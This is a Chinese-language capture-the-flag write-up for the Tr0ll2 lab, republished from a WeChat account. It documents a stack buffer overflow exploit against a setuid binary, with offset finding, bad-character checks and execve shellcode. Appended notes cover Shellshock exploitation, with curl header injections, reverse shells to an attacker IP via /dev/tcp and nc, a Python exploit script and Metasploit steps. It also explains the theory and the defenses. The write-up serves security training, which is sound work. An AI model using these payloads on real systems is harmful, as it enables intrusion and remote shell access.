(gdb)run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

用以上命令生成偏移较大的值,然后复制到gdb里面run。

Day15 Tr0ll2 靶场WP
image-20250520112850948

找到溢出位置0x6a413969

cp /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb ./
./pattern_offset.rb -q 6a413969 -l 1000
Day15 Tr0ll2 靶场WP
image-20250520113208454

得知偏移量是268,以下的door2不是door3,door2要输入一个参数来做偏移量。

(gdb)
r $(python -c 'print ("A"*268 + "B"*4)')
info r
Day15 Tr0ll2 靶场WP
image-20250520113411228
r $(python -c 'print ("A"*268 + "B"*4+"C"*20)'
Day15 Tr0ll2 靶场WP
image-20250520115232872

到网页https://shell-storm.org/shellcode/index.html 上找execve /bin/sh找到对应版本的payload:https://shell-storm.org/shellcode/files/shellcode-827.html

Day15 Tr0ll2 靶场WP
image-20250520115207201
*****************************************************
*    Linux/x86 execve /bin/sh shellcode 23 bytes    *
*****************************************************
*    Author: Hamza Megahed        *
*****************************************************
*             Twitter: @Hamza_Mega                  *
*****************************************************
*     blog: hamza-mega[dot]blogspot[dot]com         *
*****************************************************
*   E-mail: hamza[dot]megahed[at]gmail[dot]com      *
*****************************************************

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

********************************
#include <stdio.h>
#include <string.h>

char *shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
  "x6ex89xe3x50x53x89xe1xb0x0bxcdx80";

int main(void)
{
fprintf(stdout,"Length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

所以,构造payload为

./r00t $(python -c 'print "A"* 268 + "x80xfbxffxbf" + "x90" *20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')
cat /root/Proof.txt
Day15 Tr0ll2 靶场WP
image-20250520113913501

搞错了,应该是door2不是door3。

Day15 Tr0ll2 靶场WP
image-20250520114611295

方法二:检查坏字符

在gdb中调试

r $(python -c 'print("A"*268 + "B"*4 + "x01x02x03x04x05x06x07x08x0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")')
x/256x $esp   
x/256b $esp

x00本身就是坏字符,x09x0ax20这三个逐个去掉后找出,完全去掉后就连续了,就没有坏点了,说明坏字符为:x00x0ax09x20

Day15 Tr0ll2 靶场WP
image-20250520141814830

用坏字符生成payload,然后用命令加载即可。

msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b 'x00x09x0ax20' -e x86/shikata_ga_nai -fc

./r00t $(python -c 'print ("A"*268 + "x80xfbxffxbf" + "x90"*20 + "xbaxa0x03xb5x23xdaxc8xd9x74x24xf4x5ex29xc9xb1x0bx83xc6x04x31x56x11x03x56x11xe2x55x69xbex7bx0cx3cxa6x13x03xa2xafx03x33x0bxc3xa3xc3x3bx0cx56xaaxd5xdbx75x7exc2xd4x79x7ex12xcax1bx17x7cx3bxafx8fx80x14x1cxc6x60x57x22")')
Day15 Tr0ll2 靶场WP
image-20250520140526527

这个靶场开始有难度了,涉及到一些内存的知识点。我对这部分知识也不太了解,很多不会的地方我询问了AI,安全学习是一个庞杂的方向,需要触类旁通。

补充知识点:CVE-2014-6271 (Shellshock 漏洞)

漏洞原理

  • 根本原因:Bash 在处理环境变量时,未正确验证以 () { 开头的函数定义字符串,导致后续命令被意外执行。
  • 影响范围:Bash 版本 1.14 ~ 4.3(2014年9月前的版本)。
  • 典型场景:Web服务器(如Apache CGI)、DHCP客户端、SSH守护进程等通过环境变量调用Bash的场景。

漏洞检测

方法 1:本地检测

env x='() { :;}; echo VULNERABLE' bash -c "echo Testing"
  • 安全输出:无反应或报错。
  • 存在漏洞:输出 VULNERABLE 和 Testing

方法 2:远程检测(针对Web CGI)

curl -A "() { :;}; echo VULNERABLE" http://target/cgi-bin/test.cgi
  • 若返回 VULNERABLE,则存在漏洞。

漏洞利用方法

场景 1:通过HTTP请求(Apache CGI)

假设目标服务器存在 /cgi-bin/status.cgi(或其他CGI脚本):

  1. 执行任意命令
curl -H "User-Agent: () { :;}; /bin/bash -c 'cat /etc/passwd'" http://target/cgi-bin/status.cgi
  • 通过修改 User-AgentCookie 或 Referer 头注入命令。
  1. 反弹Shell
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1" http://target/cgi-bin/status.cgi
  • 在攻击机监听端口:
nc -lvnp 4444

场景 2:DHCP客户端攻击

如果目标作为DHCP客户端且使用受漏洞影响的Bash:

  • 攻击者可伪造DHCP服务器,在分配IP时注入恶意环境变量。

场景 3:SSH强制命令

若目标允许通过SSH公钥认证并配置了强制命令(如 command="example"):

ssh -i id_rsa user@target '() { :;}; /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1'

自动化利用工具

1. Metasploit

msf6 > use exploit/multi/http/apache_mod_cgi_bash_env
msf6 > set RHOSTS <目标IP>
msf6 > set TARGETURI /cgi-bin/status.cgi
msf6 > set PAYLOAD linux/x86/shell/reverse_tcp
msf6 > set LHOST <攻击者IP>
msf6 > exploit

2. Python EXP脚本

import requests

url = "http://target/cgi-bin/status.cgi"
headers = {
"User-Agent""() { :;}; /bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击者IP 4444 >/tmp/f'"
}
requests.get(url, headers=headers)

补充知识点:缓冲区溢出漏洞

技术背景

  • strcpy 的作用: 将源字符串复制到目标缓冲区,不检查目标缓冲区长度,可能导致缓冲区溢出(Buffer Overflow)。
  • 漏洞场景: 如果目标缓冲区(如栈上的字符数组)较小,而源字符串过长,strcpy 会覆盖栈上的返回地址(或其他关键数据),导致程序崩溃或被控制流劫持。

调试中如何观察

  1. 查看函数上下文输入 disas 或 disassemble 反汇编当前函数,观察 strcpy 调用前后的逻辑:
(gdb) disas main
  1. 检查参数传递
  • 在 call strcpy 前,参数通过栈传递(x86架构)或寄存器传递(x86-64架构)。

  • 例如,在 x86 中,参数按从右到左顺序压栈:

push  源字符串地址   ; 第二个参数(src)
push  目标缓冲区地址   ; 第一个参数(dest)
call  strcpy
  1. 设置断点在 strcpy 调用前设置断点,观察内存状态:
(gdb) break *0x0804848b   ; 在调用 strcpy 的地址处断点
(gdb) run                ; 运行程序
(gdb) info registers     ; 查看寄存器值(如 ESP、EBP)
(gdb) x/8wx $esp          ; 查看栈内容(x86)

漏洞利用示例

假设目标缓冲区在栈上且无长度检查:

char buffer[64];
strcpy(buffer, 用户输入);  // 用户输入超过 64 字节会导致溢出
  1. 覆盖返回地址构造输入字符串,覆盖栈上的返回地址为恶意代码地址(如 Shellcode)。

  2. 利用工具使用 Python 或 pwntools 生成 payload:

payload = b'A' * 64           # 填充缓冲区
payload += b'BBBB'           # 覆盖 EBP
payload += p32(0xdeadbeef)   # 覆盖返回地址
  1. 在 GDB 中验证输入超长字符串,观察程序崩溃时的寄存器值:
(gdb) run < payload.txt
Program received signal SIGSEGV, Segmentation fault.
eip = 0xdeadbeef             ; 返回地址被成功覆盖

防御与修复

  1. 替换安全函数使用 strncpy 或 snprintf 替代 strcpy,并明确限制长度:
strncpy(buffer, src, sizeof(buffer)-1);
buffer[sizeof(buffer)-1] = '';
  1. 编译选项启用栈保护(Stack Canary)和地址随机化(ASLR):
gcc -fstack-protector -pie -fPIE -o program program.c

攻击命令结构

./r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "<shellcode>"')

该命令生成的输入字符串分为四部分:

  1. **"A"*268**:填充缓冲区到返回地址前的偏移。
  2. **"x80xfbxffxbf"**:覆盖栈上的返回地址,指向 NOP雪橇 或 shellcode
  3. **"x90"*20**:NOP雪橇(滑板指令),提高 shellcode 命中率。
  4. **<shellcode>**:恶意机器码(如启动 /bin/sh 的代码)。

逐部分详解

1. 填充字符("A"*268)

  • 作用:覆盖从缓冲区起始位置到返回地址之间的空间。
  • 长度计算: 通过动态调试(如 GDB)确定缓冲区到返回地址的偏移。假设缓冲区大小为 256 字节,加上保存的 EBP(4 字节),总偏移为 256 + 4 = 260 字节。若实际测试中发现需要 268 字节,可能是栈对齐或其他变量影响。

2. 覆盖返回地址("x80xfbxffxbf")

  • 目标地址0xbffffb80(小端序,实际字节为 x80xfbxffxbf)。
  • 含义:
  • 该地址指向栈上的某个位置(可能是 NOP雪橇 或 shellcode 起始处)。
  • 在关闭 ASLR 的系统中,栈地址通常固定(如 0xbffffxxx)。

3. NOP雪橇("x90"*20)

  • 作用:
  • x90 是 NOP(No Operation)指令,执行时不进行任何操作,程序计数器(EIP)会继续向后移动。
  • 增加 NOP雪橇 的长度可提高命中率,即使返回地址略微偏差,仍可能滑入 shellcode

4. Shellcode

  • 代码内容:
xor eax, eax          ; x31xc0  (清空 eax)
push eax              ; x50      (压入字符串终止符 x00)
push 0x68732f2f       ; x68x2fx2fx73x68  ("//sh")
push 0x6e69622f       ; x68x2fx62x69x6e  ("/bin")
mov ebx, esp          ; x89xe3  (ebx 指向 "/bin//sh")
push eax              ; x50      (argv[1] = NULL)
push ebx              ; x53      (argv[0] 指向 "/bin//sh")
mov ecx, esp          ; x89xe1  (ecx 指向 argv)
mov al, 0xb           ; xb0x0b  (syscall 号 11: execve)
int 0x80              ; xcdx80  (触发系统调用)
  • 功能:调用 execve("/bin//sh", argv, NULL),启动一个交互式 shell。

攻击流程

  1. 溢出缓冲区:通过输入字符串覆盖栈上的返回地址。
  2. 劫持 EIP:程序返回时跳转到 0xbffffb80(指向 NOP雪橇)。
  3. 滑入 Shellcode:CPU 执行 NOP 指令,直到命中 shellcode
  4. 执行恶意代码shellcode 启动 /bin/sh,攻击者获得 shell 控制权。

依赖条件

  1. 栈可执行(DEP 关闭):现代系统默认启用数据执行保护(DEP),需目标程序编译时关闭该保护(gcc -z execstack)。

  2. ASLR 关闭:地址空间随机化会使得栈地址不可预测,需在测试环境中关闭:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  1. 准确的偏移计算:需通过调试确定填充长度和返回地址位置。

调试验证步骤

  1. 确定偏移量
# 生成测试字符串
python -c 'print "A"*268 + "BBBB" + "C"*100' > payload
# 在 GDB 中运行
gdb ./r00t
(gdb) run < payload
# 观察崩溃时 EIP 是否为 0x42424242("BBBB")
  1. 定位 Shellcode 地址
(gdb) run < <(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "shellcode"')
(gdb) x/32wx $esp  # 查看栈内容,确认 NOP 和 shellcode 位置

防御措施

  1. 启用 DEP/XN 位:阻止栈上代码执行。
  2. 启用 ASLR:随机化内存布局。
  3. 使用安全函数:替换 strcpy 为 strncpy 或 snprintf
  4. 栈保护(Stack Canary):检测缓冲区溢出

补充知识点:坏字符

在缓冲区溢出攻击的调试过程中,你提供的命令用于检查内存布局和验证攻击载荷(payload)是否正确覆盖目标区域。以下是详细解析:

1. 构造的 Payload 分析

(gdb)
r $(python -c 'print("A"*268 + "B"*4 + "x01x02x03x04...xff")')
  • **"A"*268**:填充到返回地址前的偏移(假设覆盖返回地址需要 268 字节)。
  • **"B"*4**:覆盖返回地址的测试值(0x42424242,即 ASCII "BBBB")。
  • **x01x02x03...xff**:覆盖返回地址后的内存区域,包含所有可能的单字节值(0x01~0xff)。

2. x/256x $esp 和 x/256b $esp 的作用

这两个 GDB 命令用于检查内存内容,但输出格式不同:

(1) x/256x $esp

  • 作用:以 十六进制四字节字(word) 显示栈顶($esp 指向的地址)开始的 256 个 word(即 256×4=1024 字节)。

  • 快速查看大范围内存布局(如返回地址、栈帧结构)。

  • 确认 "B"*40x42424242)是否覆盖到预期的返回地址位置。

  • 观察后续数据(x01x02x03...)是否连续写入内存。

(2) x/256b $esp

  • 作用:以 单字节(byte) 显示栈顶开始的 256 个字节。

  • 精确检查每个字节的值,识别坏字符(Bad Characters)。

  • 验证输入数据是否被篡改(如某些字符被过滤或截断)。

  • 确认内存中的字节顺序(是否与输入顺序一致)。

3. 关键检查项

(1) 验证返回地址覆盖

  • x/256x $esp的输出中,搜索``0x42424242`。
  • 如果找到,说明 "B"*4 成功覆盖返回地址。
  • 如果未找到,需重新计算偏移量(调整 "A"*268 的长度)。

(2) 检测坏字符

  • 坏字符(Bad Characters):某些字节(如 x00x0ax0d)可能导致输入被截断或程序崩溃。

  • 检查方法:

  1. 在 x/256b $esp 的输出中,从 0x01 开始逐字节对比输入和内存中的值。
  2. 若某个字节在内存中缺失或值改变(如 0x09 变为 0x20),则该字节为坏字符。
  3. 在构造 Shellcode 时需避免使用坏字符。

(3) 观察内存连续性

  • 确认输入数据(x01x02x03...)是否完整且顺序正确。

  • 如果发现数据断裂或顺序错乱,可能因栈溢出破坏其他变量或指针。

4. 示例输出分析

假设执行 x/16x $esp 输出:

0xbffffb80: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffffb90: 0x03020100 0x07060504 0x0b0a0908 0x0f0e0d0c
...
  • 覆盖验证:地址 0xbffffb8c 处值为 0x42424242,说明返回地址被正确覆盖。
  • 数据连续性:后续数据 0x03020100 对应输入 x00x01x02x03(注意小端序)。

若执行 x/16b $esp 输出:

0xbffffb80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb88: 0x41 0x41 0x41 0x41 0x42 0x42 0x42 0x42
...
  • 字节验证:输入 "A"(0x41)和 "B"(0x42)正确写入内存。

5. 渗透测试中的应用

  1. 偏移量校准:通过多次运行和观察内存,调整 "A"*N 的长度,确保返回地址精准覆盖。

  2. 坏字符列表生成:记录所有被篡改的字节,构建 BadChars = x00x09x0a...

  3. Shellcode 适配 :使用编码器(如msfvenom)生成不含坏字符的 Shellcode:

msfvenom -p linux/x86/exec CMD=/bin/sh -b 'x00x09x0a' -f python

总结

  • **x/256x $esp**:用于快速观察内存布局,验证大范围数据覆盖。
  • **x/256b $esp**:用于精细检查字节级数据,识别坏字符和输入篡改。
  • 在渗透测试中,这两个命令是调试缓冲区溢出漏洞的 核心工具,帮助确认攻击载荷的有效性和可靠性。

🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

扫描下方二维码,马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚


原文始发于微信公众号(泷羽Sec-静安):Day15 Tr0ll2 靶场WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月24日04:59:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Day15 Tr0ll2 靶场WPhttp://cn-sec.com/archives/4093403.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息